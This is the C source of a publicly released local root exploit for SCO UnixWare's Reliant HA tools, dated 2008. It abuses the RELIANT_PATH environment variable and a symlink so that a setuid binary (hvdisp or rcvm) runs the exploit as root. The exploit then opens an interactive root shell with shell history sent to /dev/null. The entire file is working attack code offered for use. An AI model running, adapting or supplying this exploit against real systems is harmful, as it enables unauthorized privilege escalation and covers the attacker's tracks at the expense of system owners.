/* 04/2008: public release
* I have'nt seen any advisory on this; possibly still not fixed.
*
* SCO UnixWare Reliant HA Local Root Exploit
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#define TGT1 "/usr/opt/reliant/bin/hvdisp"
#define TGT2 "/usr/opt/reliant/bin/rcvm"
#define DIR "bin"
#define BIN DIR "/hvenv"
int main(int argc, char *argv[])
{
char self[4096], *target;
pid_t child;
if (geteuid() == 0) {
setuid(geteuid());
dup2(3, 0);
dup2(4, 1);
dup2(5, 2);
if ((child = fork()) == 0) {
putenv("HISTFILE=/dev/null");
execl("/bin/sh", "sh", "-i", NULL);
printf("[-] sh: %s\n", strerror(errno));
} else if (child != -1)
waitpid(child, NULL, 0);
kill(getppid(), 15);
return 1;
}
printf("----------------------------------------\n");
printf(" UnixWare Reliant HA Local Root Exploit\n");
printf(" By qaaz\n");
printf("----------------------------------------\n");
if (access(TGT1, EX_OK) == 0)
target = TGT1;
else if (access(TGT2, EX_OK) == 0)
target = TGT2;
else {
printf("[-] No targets found\n");
return 1;
}
sprintf(self, "/proc/%d/object/a.out", getpid());
if (mkdir(DIR, 0777) < 0 && errno != EEXIST) {
printf("[-] %s: %s\n", DIR, strerror(errno));
return 1;
}
if (symlink(self, BIN) < 0) {
printf("[-] %s: %s\n", BIN, strerror(errno));
rmdir(DIR);
return 1;
}
if ((child = fork()) == 0) {
char path[4096] = "RELIANT_PATH=";
dup2(0, 3);
dup2(1, 4);
dup2(2, 5);
putenv(strcat(path, getcwd(NULL, sizeof(path)-14)));
execl(target, target, NULL);
printf("[-] %s: %s\n", target, strerror(errno));
return 1;
} else if (child != -1)
waitpid(child, NULL, 0);
unlink(BIN);
rmdir(DIR);
return 0;
}
